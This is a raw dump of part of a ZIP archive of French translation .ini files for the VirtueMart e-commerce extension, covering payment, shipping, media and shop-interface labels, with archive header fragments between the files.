VMPAYMENT_STANDARD_MIN_AMOUNT_EXPLAIN="Montant minimum de la commande pour proposer ce paiement" VMPAYMENT_STANDARD_ORDER_INFO="Informations de commande" VMPAYMENT_STANDARD_ORDER_NUMBER="Numéro de commande" VMPAYMENT_STANDARD_ORDER_TOTAL="Total de la commande" VMPAYMENT_STANDARD_PAYMENTINFO="Informations paiement" VMPAYMENT_STANDARD_PAYMENTINFO_EXPLAIN="Ajouter un message à afficher dans la commande" VMPAYMENT_STANDARD_PAYMENT_NAME="Mode de paiement" VMPAYMENT_STANDARD_PAYMENT_TOTAL_CURRENCY="Montant total dû" VMPAYMENT_STANDARD_PERCENT_TOTAL="Pourcentage sur le total" VMPAYMENT_STANDARD_PERCENT_TOTAL_EXPLAIN="Pourcentage à appliquer sur le montant total de la transaction" VMPAYMENT_STANDARD_TAX="Taxes" VMPAYMENT_STANDARD_TAX_EXPLAIN="Taxe à appliquer aux frais" VMPAYMENT_STANDARD_TRANSACTION="Frais par transaction" VMPAYMENT_STANDARD_TRANSACTION_EXPLAIN="Montant forfaitaire à appliquer par transaction" VMPAYMENT_STANDARD_STATUS_PENDING="Statut pour les commandes en attente" VMPAYMENT_STANDARD_STATUS_PENDING_EXPLAIN="Statut de la commande pour les commandes qui ont été complétées, et qui sont en attente de règlement." PK@y>\y0TT<language/fr-FR/fr-FR.plg_vmshipment_weight_countries.sys.ininuW+AVMSHIPMENT_WEIGHT_COUNTRIES="Vm plug-in de Livraison Poids/Nombre de produit/Pays" PK@y>\)language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\m´e55,language/fr-FR/fr-FR.com_virtuemart.menu.ininuW+AVIRTUEMART="VirtueMart" COM_VIRTUEMART="VirtueMart" PK@y>\ݗ+v/language/fr-FR/fr-FR.plg_vmcustom_stockable.ininuW+AVMCUSTOM_STOCKABLE="Champ personnalisé stockable" VMCUSTOM_STOCKABLE_DESC="Donner un nom, et les valeurs pour les options du produit enfant stockable" VMCUSTOM_STOCKABLE_NO_CHILD="Ajouter un nouveau produit enfant. Sélectionner ensuite l'option pour chaque produit" VMCUSTOM_STOCKABLE_NO_OPTION="---" VMCUSTOM_STOCKABLE_SELECTNAME="Option" VMCUSTOM_STOCKABLE_SELECTNAME_DESC="Entrer le nom de l'option" VMCUSTOM_STOCKABLE_SELECTOPTIONS="Valeurs des options" VMCUSTOM_STOCKABLE_SELECTOPTIONS_DESC="Entrer toutes les options. Une ligne pour chaque option" VMCUSTOM_STOCKABLE_IS_VARIANT="Variante du parent" VMCUSTOM_STOCKABLE_PRICE="Surcoût HT" PK@y>\¡/7language/fr-FR/fr-FR.plg_vmcustom_specification.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION="Specification champ personnalisé" PK@y>\iݠ3language/fr-FR/fr-FR.plg_vmcustom_specification.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION_NAME_INFO="Label Characteristique" VMCUSTOM_SPECIFICATION_NAME_INFO_DESC="Valeur défaut" VMCUSTOM_SPECIFICATION_DEFAULT_INFO="Info par défaut" PK@y>\0WW-language/fr-FR/fr-FR.com_virtuemart_media.ininuW+ACOM_VIRTUEMART_FILES_FORM="Formulaire Fichier" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="Fichier déjà attaché" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="Fichier principal attaché" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Auto-création de vignette ?" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Fichier actuel" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Image grande taille actuelle" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Image vignette actuelle" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Fichier téléchargeable" COM_VIRTUEMART_FILES_FORM_FILE="Fichier supplémentaire" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Description affichée" COM_VIRTUEMART_FILES_FORM_FILE_META="Texte alternatif image" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="Fichier publié ?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Nom du fichier unique" COM_VIRTUEMART_FILES_FORM_FILE_URL="URL du fichier" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="URL de la vignette utilisée" COM_VIRTUEMART_FILES_FORM_IMAGE="Image" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Types de fichiers pris en charge pour la création de miniatures " COM_VIRTUEMART_FILES_FORM_LOCATION="Lieu/type de stockage" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="Le serveur ne supporte pas le type mime, " COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="Le serveur prend en charge le type mime" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Image du produit (Grande et vignette)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Redimensionner la grande image ?" COM_VIRTUEMART_FILES_FORM_ROLE="Rôle" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Dossier de téléchargement" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Dossier par défaut des images produit" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Envoyer vers" COM_VIRTUEMART_FILE_DESCRIPTION="Description du Fichier" COM_VIRTUEMART_FILE_MIMETYPE="Type Mime du fichier" COM_VIRTUEMART_FILE_TITLE="Titre" COM_VIRTUEMART_FILE_UPLOAD="Téléchargement du fichier " COM_VIRTUEMART_FILE_URL="URL" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Supprimer image" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Création vignette" COM_VIRTUEMART_FORM_MEDIA_DELETE="Supprimé" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="A afficher" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Téléchargeable" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="Aucun attribut" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="Catégorie" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="À vendre" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="Fournisseur" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="Produit" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="Vendeur" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="Vendeurs" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="Télécharger" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="Télécharger et attacher" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="Télécharger et supprimer" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Remplacer" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Remplacer la vignette" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_IMAGE_ACTION="Attacher une image" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Choisir une image--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Attacher une nouvelle image" COM_VIRTUEMART_IMAGE_DETACH="Séparer l'image" COM_VIRTUEMART_IMAGE_EDIT_INFO="Modifie les informations de l'image" COM_VIRTUEMART_IMAGE_INFORMATION="Informations sur l'image" COM_VIRTUEMART_IMAGE_NOT_FOUND="Image non trouvée!" COM_VIRTUEMART_IMAGE_REMOVE="Supprime Image" COM_VIRTUEMART_MEDIA_LIST="Liste des médias" COM_VIRTUEMART_SEARCH_MEDIA="Chercher des images" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Tapez un espace pour afficher toutes les images ou tapez les premières lettres du nom de l'image" PK@y>\˜z 8language/fr-FR/fr-FR.plg_vmshipment_weight_countries.ininuW+AVMSHIPMENT_WEIGHT_COUNTRIES="Vm plug-in de Livraison Poids/Nombre de produit/Pays" VMSHIPMENT_WEIGHT_COUNTRIES_COST="Taux de livraison" VMSHIPMENT_WEIGHT_COUNTRIES_COST_DESC="Valeur Taux de Livraison" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES="Pays" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES_DESC="Sélectionner les pays pour lesquelles ce taux s'applique" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY="Devise" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY_DESC="Devise dans laquelle sont exprimés les coûts." VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT="Montant minimal Franco de port" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT_DESC="Montant minimal de la commande un Franco de port" VMSHIPMENT_WEIGHT_COUNTRIES_LOGOS="Logo" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE="Frais d'emballage" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE_DESC="Frais d'emballage" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN="Livraison basée sur le poids, nombre de produits, montant, destination" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN_DESC="Livraison basée sur le poids, le nombre de produits, le montant de la commande, les codes postaux, et les pays" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME="Livraison" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME_DESC="Nom du Taux de Livraison affiché sur le site" VMSHIPMENT_WEIGHT_COUNTRIES_TAX="Taxe" VMSHIPMENT_WEIGHT_COUNTRIES_TAX_DESC="Taxe à appliquer" VMSHIPMENT_WEIGHT_COUNTRIES_VALUE="Frais d'emballage" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT="Poids" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START="Poids minimum" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START_DESC="S'il vous plaît entrer une valeur pour le poids le plus faible. Si aucune valeur n'est entrée pour poids Maximum, aucune condition de poids le plus faible sera appliqué" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP="Poids maximum" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP_DESC="Entrer la valeur pour le poids Maximum. Si aucune valeur n'est entrée pour les poids, aucune condition ne sera appliquée." VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT="Poids de l'unité" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT_DESC="L'unité de poids dans laquelle le poids est donné" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START="Fourchette de codes postaux commence à" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START_DESC="Entrer la valeur de départ des commencent ZIP. Si aucune valeur n'est entrée pour les Codes Postaux, aucune condition ne sera appliquée." VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP="Fourchette de codes postaux termine à" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP_DESC="Entrer la valeur de départ des commencent ZIP. Si aucune valeur n'est entrée pour les Codes Postaux, aucune condition ne sera appliquée." VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_CONDITION_WRONG="La condition de poids est incorrect: le Poids minimum doit être inférieure au Poids maximum" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START="Nombre de produits minimum" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START_DESC="Nombre de produits minimum" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP="Nombre de produit maximum" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP_DESC="Nombre de produits maximum" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP_DESC="Maximum number of products" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START="Montant minimal de la commande" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START_DESC="Montant minimal de la commande" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP="Montant maximal de la commande" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP_DESC="Montant maximal de la commande"PK@y>\6. $ $-language/fr-FR/fr-FR.plg_vmpayment_payzen.ininuW+A;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Module pour la plateforme de paiement PayZen ; Version : 1.2 (révision 33398) ; ;;;;;;;;;;;;;;;;;;;;;;;; ; Développé pour VirtueMart ; Version : 2.0.0 ; Compatibilité plateforme : V2 ; ;;;;;;;;;;;;;;;;;;;;;;;; ; Développé par Lyra Network ; http://www.lyra-network.com/ ; 20/02/2012 ; Contact : support@payzen.eu ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Admin interface : module configuration VMPAYMENT_PAYZEN_PAYMENT_MODULE_SETTINGS="PARAMÈTRES DU MODULE" VMPAYMENT_PAYZEN_LOGOS="Logos" VMPAYMENT_PAYZEN_LOGOS_DESC="Logos à afficher pour ce mode paiement" VMPAYMENT_PAYZEN_COST_PER_TRANSACTION="Frais par transaction" VMPAYMENT_PAYZEN_COST_PER_TRANSACTION_DESC="Frais forfaitaires à appliquer à chaque transaction" VMPAYMENT_PAYZEN_COST_PERCENT_TOTAL="Pourcentage sur le total" VMPAYMENT_PAYZEN_COST_PERCENT_TOTAL_DESC="Pourcentage à appliquer sur le montant total de la transaction" VMPAYMENT_PAYZEN_TAX="Taxes" VMPAYMENT_PAYZEN_TAX_DESC="Taxe à appliquer aux frais" VMPAYMENT_PAYZEN_MODULE_INFORMATION_TITLE="PAIEMENT PAYZEN" ; Admin interface : module informations VMPAYMENT_PAYZEN_MODULE_INFORMATION="INFORMATIONS SUR LE MODULE" VMPAYMENT_PAYZEN_DEVELOPED_BY="Développé par" VMPAYMENT_PAYZEN_CONTACT_EMAIL="Courriel de contact" VMPAYMENT_PAYZEN_CONTRIB_VERSION="Version du module" VMPAYMENT_PAYZEN_GATEWAY_VERSION="Version de la plateforme" VMPAYMENT_PAYZEN_CMS_VERSION="Testé avec" VMPAYMENT_PAYZEN_DOC="Lire le manuel de paramétrage du module" ; Admin interface : platform access parameters VMPAYMENT_PAYZEN_PAYMENT_GATEWAY_ACCESS="ACCÈS À LA PLATEFORME" VMPAYMENT_PAYZEN_SITE_ID="Identifiant du site" VMPAYMENT_PAYZEN_SITE_ID_DESC="Identifiant fourni par PayZen" VMPAYMENT_PAYZEN_TEST_KEY="Certificat en mode test" VMPAYMENT_PAYZEN_TEST_KEY_DESC="Certificat fourni par PayZen (disponible sur l'outil de gestion de caisse)" VMPAYMENT_PAYZEN_PROD_KEY="Certificat en mode production" VMPAYMENT_PAYZEN_PROD_KEY_DESC="Certificat fourni par PayZen (disponible sur l'outil de gestion de caisse après passage en production)" VMPAYMENT_PAYZEN_CTX_MODE="Mode" VMPAYMENT_PAYZEN_CTX_MODE_DESC="Mode de fonctionnement du module" VMPAYMENT_PAYZEN_PLATFORM_URL="Url de la plateforme" VMPAYMENT_PAYZEN_PLATFORM_URL_DESC="Url vers laquelle le client sera redirigé pour le paiement" ; Admin interface : payment page parameters VMPAYMENT_PAYZEN_PAYMENT_PAGE="PAGE DE PAIEMENT" VMPAYMENT_PAYZEN_LANGUAGE="Langue par défaut" VMPAYMENT_PAYZEN_LANGUAGE_DESC="Sélectionner la langue par défaut à utiliser sur la page de paiement" VMPAYMENT_PAYZEN_AVAILABLES_LANGUAGES="Langues disponibles" VMPAYMENT_PAYZEN_AVAILABLES_LANGUAGES_DESC="Sélectionner TOUTES pour utiliser la configuration de la plateforme" VMPAYMENT_PAYZEN_CAPTURE_DELAY="Délai avant remise en banque" VMPAYMENT_PAYZEN_CAPTURE_DELAY_DESC="Le nombre de jours avant la remise en banque (paramétrable sur votre back office PayZen)" VMPAYMENT_PAYZEN_VALIDATION_MODE="Mode de validation" VMPAYMENT_PAYZEN_VALIDATION_MODE_DESC="En mode manuel, vous devrez confirmer les paiements dans l'outil de gestion de caisse" VMPAYMENT_PAYZEN_PAYMENT_CARDS="Types de carte" VMPAYMENT_PAYZEN_PAYMENT_CARDS_DESC="Sélectionner TOUTES pour utiliser la configuration de la plateforme" ; Admin interface : amount restrictions parameters VMPAYMENT_PAYZEN_AMOUNT_RESTRICTIONS="RESTRICTIONS SUR LE MONTANT" VMPAYMENT_PAYZEN_AMOUNT_MIN="Montant minimum" VMPAYMENT_PAYZEN_AMOUNT_MIN_DESC="Montant minimum pour lequel cette methode de paiement est disponible" VMPAYMENT_PAYZEN_AMOUNT_MAX="Montant maximum" VMPAYMENT_PAYZEN_AMOUNT_MAX_DESC="Montant maximum pour lequel cette methode de paiement est disponible" ; Admin interface : return to store parameters VMPAYMENT_PAYZEN_RETURN_OPTIONS="RETOUR À LA BOUTIQUE" VMPAYMENT_PAYZEN_REDIRECT_ENABLED="Redirection automatique" VMPAYMENT_PAYZEN_REDIRECT_ENABLED_DESC="Si activée, le client sera redirigé automatiquement vers votre site à la fin du processus de paiement" VMPAYMENT_PAYZEN_REDIRECT_SUCCESS_TIMEOUT="Temps avant redirection (succès)" VMPAYMENT_PAYZEN_REDIRECT_SUCCESS_TIMEOUT_DESC="Temps en secondes (0-300) avant que le client ne soit redirigé automatiquement vers votre site lorsque le paiement a réussi" VMPAYMENT_PAYZEN_REDIRECT_SUCCESS_MESSAGE="Message avant redirection (succès)" VMPAYMENT_PAYZEN_REDIRECT_SUCCESS_MESSAGE_DESC="Message affiché sur la plateforme de paiement avant redirection lorsque le paiement a réussi" VMPAYMENT_PAYZEN_REDIRECT_ERROR_TIMEOUT="Temps avant redirection (échec)" VMPAYMENT_PAYZEN_REDIRECT_ERROR_TIMEOUT_DESC="Temps en secondes (0-300) avant que le client ne soit redirigé automatiquement vers votre site lorsque le paiement a échoué" VMPAYMENT_PAYZEN_REDIRECT_ERROR_MESSAGE="Message avant redirection (échec)" VMPAYMENT_PAYZEN_REDIRECT_ERROR_MESSAGE_DESC="Message affiché sur la plateforme de paiement avant redirection, lorsque le paiement a échoué" VMPAYMENT_PAYZEN_RETURN_MODE="Mode de retour" VMPAYMENT_PAYZEN_RETURN_MODE_DESC="Façon dont le client transmettra le résultat du paiement lors de son retour sur la boutique" VMPAYMENT_PAYZEN_URL_SUCCESS="URL de retour en cas de succès" VMPAYMENT_PAYZEN_URL_SUCCESS_DESC="URL où sera redirigé le client après avoir cliqué sur 'retour à la boutique' lorsque le paiement a réussi" VMPAYMENT_PAYZEN_URL_ERROR="URL de retour en cas d'erreur" VMPAYMENT_PAYZEN_URL_ERROR_DESC="URL où sera redirigé le client après avoir cliqué sur 'retour à la boutique' lorsque le paiement a échoué" VMPAYMENT_PAYZEN_URL_CANCEL="URL de retour en cas d'annulation" VMPAYMENT_PAYZEN_URL_CANCEL_DESC="URL où sera redirigé le client en cas d'annualtion du paiement" VMPAYMENT_PAYZEN_URL_CHECK="URL serveur à serveur à renseigner sur le back office PayZen de votre boutique" VMPAYMENT_PAYZEN_ORDER_SUCCESS_STATUS="Statut des commandes (paiement accepté)" VMPAYMENT_PAYZEN_ORDER_SUCCESS_STATUS_DESC="Définir le statut des commandes payées par ce mode de paiement lorsque le paiement a réussi" VMPAYMENT_PAYZEN_ORDER_FAILURE_STATUS="Statut des commandes (paiement échoué)" VMPAYMENT_PAYZEN_ORDER_FAILURE_STATUS_DESC="Définir le statut des commandes payées par ce mode de paiement lorsque le paiement a échoué" ; Admin interface : constants VMPAYMENT_PAYZEN_TEST="Test" VMPAYMENT_PAYZEN_PRODUCTION="Production" VMPAYMENT_PAYZEN_ALL="TOUTES" VMPAYMENT_PAYZEN_FRENCH="Français" VMPAYMENT_PAYZEN_GERMAN="Allemand" VMPAYMENT_PAYZEN_ENGLISH="Anglais" VMPAYMENT_PAYZEN_SPANISH="Espagnol" VMPAYMENT_PAYZEN_CHINESE="Chinois" VMPAYMENT_PAYZEN_ITALIAN="Italien" VMPAYMENT_PAYZEN_JAPANESE="Japonais" VMPAYMENT_PAYZEN_PORTUGUESE="Portugais" VMPAYMENT_PAYZEN_DUTCH="Néerlandais" VMPAYMENT_PAYZEN_BY_DEFAULT="Par défaut" VMPAYMENT_PAYZEN_AUTOMATIC="Automatique" VMPAYMENT_PAYZEN_MANUAL="Manuel" VMPAYMENT_PAYZEN_YES="Oui" VMPAYMENT_PAYZEN_NO="Non" ; Site messages VMPAYMENT_PAYZEN_CURRENCY_NOT_SUPPORTED="Ce mode de paiement est indisponible pour la devise actuelle." VMPAYMENT_PAYZEN_CHECK_URL_WARN="La validation automatique n'a pas fonctionné. Avez-vous configuré correctement l'URL serveur dans l'outil de gestion de caisse PayZen ?" VMPAYMENT_PAYZEN_CHECK_URL_WARN_VIRTUEMART="ATTENTION MODE TEST: Vous utilisez les paramètres par défaut du module de paiement PayZen configuré sur le compte de VirtueMart.net. Merci de configurer le module de paiement avec votre propre identifiant disponible dans le BACK OFFICE PayZen. Pour plus d'information consulter la documentation disponible depuis l'onglet configuration du module de paiement PayZen." VMPAYMENT_PAYZEN_BTN_ALT="Cliquez pour payer avec la plate-forme de paiement sécurisé PayZen." VMPAYMENT_PAYZEN_PLEASE_WAIT="Veuillez patienter pendant que vous êtes redirigé vers PayZen." VMPAYMENT_PAYZEN_CLICK_BUTTON_IF_NOT_REDIRECTED="Si vous n'êtes pas redirigé après 10 secondes, veuillez cliquer sur le bouton ci-dessous." VMPAYMENT_PAYZEN_FAILURE_MSG="Le paiement n'a pas été accepté, votre commande n'a pas été enregistrée." VMPAYMENT_PAYZEN_SUCCESS_MSG="Le paiement s'est effectué avec succès, votre commande a bien été enregistrée." VMPAYMENT_PAYZEN_ERROR_MSG="Une erreur est survenue dans le processus de paiement, votre commande n'a pas été enregistrée." VMPAYMENT_PAYZEN_ORDER_NUMBER="Commande N°: " VMPAYMENT_PAYZEN_AMOUNT="Montant: " VMPAYMENT_PAYZEN_RESULT="Résultat: " VMPAYMENT_PAYZEN_TRANS_ID="ID transaction: " VMPAYMENT_PAYZEN_CC_NUMBER="Numéro de carte: " VMPAYMENT_PAYZEN_CC_EXPIRY="Date d'expiration: " VMPAYMENT_PAYZEN_CC_TYPE="Moyen de paiement: " VMPAYMENT_PAYZEN_NOTIFICATION_RECEVEIVED="Notification reçu" VMPAYMENT_PAYZEN_PAYMENT_NAME="Nom du paiement" ; debug VMPAYMENT_PAYZEN_DEBUG="Activer la fonction Debug"PK@y>\B\language/fr-FR/index.phpnuW+AxePK@y>\uBB+language/fr-FR/fr-FR.com_virtuemart.sys.ininuW+ACOM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="Bienvenue dans VirtueMart!" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="Installation REUSSIE" COM_VIRTUEMART_INSTALL_DONATION="Merci d'envisager un don pour nous aider à continuer le développement de VirtueMart." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Visiter le site VirtueMart pour de l'aide" COM_VIRTUEMART_INSTALL_GO_SHOP="Aller à la Boutique" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Installer des Données d'Exemples" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="Note de désinstallation" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="La désinstallation VirtueMart ne supprime pas les tables de votre base de données de VirtueMart. Ceci est intentionnel pour permettre la mise à niveau de vos données actuelles aux nouvelles versions de VirtueMart.
      Pour enlever les tables de VirtueMart, supprimer toutes les tables avec le préfixe _virtuemart_." COM_VIRTUEMART_UNINSTALL_THANKYOU="Merci d'avoir tester VirtueMart" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="Mise à jour REUSSIE" VIRTUEMART="VirtueMart" COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Affiche le panier VirtueMart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="Affiche le panier" COM_VIRTUEMART_MINICART_DESC="Affiche le mini panier de VirtueMart" COM_VIRTUEMART_MINICART_MENU="Mini panier VirtueMart" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="Pour définir la catégorie parente" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="Affiche les catégories" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Affiche une catégorie" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Affiche une catégorie" COM_VIRTUEMART_SELECT_CATEGORY="Choisir une catégorie" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Choisir un fournisseur" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Affiche les fournisseurs de VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="Affiche les fournisseurs" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Affiche un fournisseur" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="Affiche un fournisseur" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="Liste les commandes" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="Liste les commandes" COM_VIRTUEMART_PRODUCTDETAILS_CHANGE_PRODUCT_BUTTON="Changement" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Sélectionner un produit" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Créer un lien vers un produit sélectionné" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Produit" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="Pour définir l'affichage des produits" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Affiche un produit" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="Affiche un produit" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Affiche la gestion du compte" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="Gestion du compte" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="Edite l'addresse du client" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Edite l'addresse du client" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="Page d'accueil" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Affiche la page d'accueil de VirtueMart" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Sélectionner un vendeur" COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Sélectionner un vendeur" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="Affiche les CGVs d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="Affiche les Conditions Générales de Vente d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Affiche les vendeurs" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Affiche les vendeurs de VirtueMart" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Affiche le détail d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Affiche le détail d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Affiche le contact d'un vendeur" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Affiche le contact d'un vendeur" PK@y>\ph##1language/fr-FR/fr-FR.plg_vmpayment_payzen.sys.ininuW+AVMPAYMENT_PAYZEN="Vmpayment PayZen"PK@y>\r ..'language/fr-FR/fr-FR.com_virtuemart.ininuW+ACOM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_ABOUT="À propos" COM_VIRTUEMART_ACCESS_FORBIDDEN="Accès interdit" COM_VIRTUEMART_ADD="Nouveau" COM_VIRTUEMART_ADDRESS="Adresse" COM_VIRTUEMART_ADD_COMMENT="Ajouter un commentaire" COM_VIRTUEMART_ADD_RATING="Ajouter une note" COM_VIRTUEMART_ADD_SHIPTO_1="Ajouter une nouvelle adresse" COM_VIRTUEMART_ADD_SHIPTO_2="Adresse de livraison" COM_VIRTUEMART_ADMIN="Administration" COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="Utiliser l'activation des comptes ?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Voir le message 'produit ajouter...'" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="Si vous sélectionnez cette option, un message 'facebox' récapitulatif apparait lors d'ajout de produit au panier sinon vous serez directement redirigé vers le panier" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Le client doit-il accepter les Conditions Générales de Vente pour CHAQUE COMMANDE ?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Cocher si vous voulez que chaque client soit obligé d'accepter les Conditions Générales de Vente lors de CHAQUE COMMANDE (avant d'émettre toute commande)." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="Inscription des 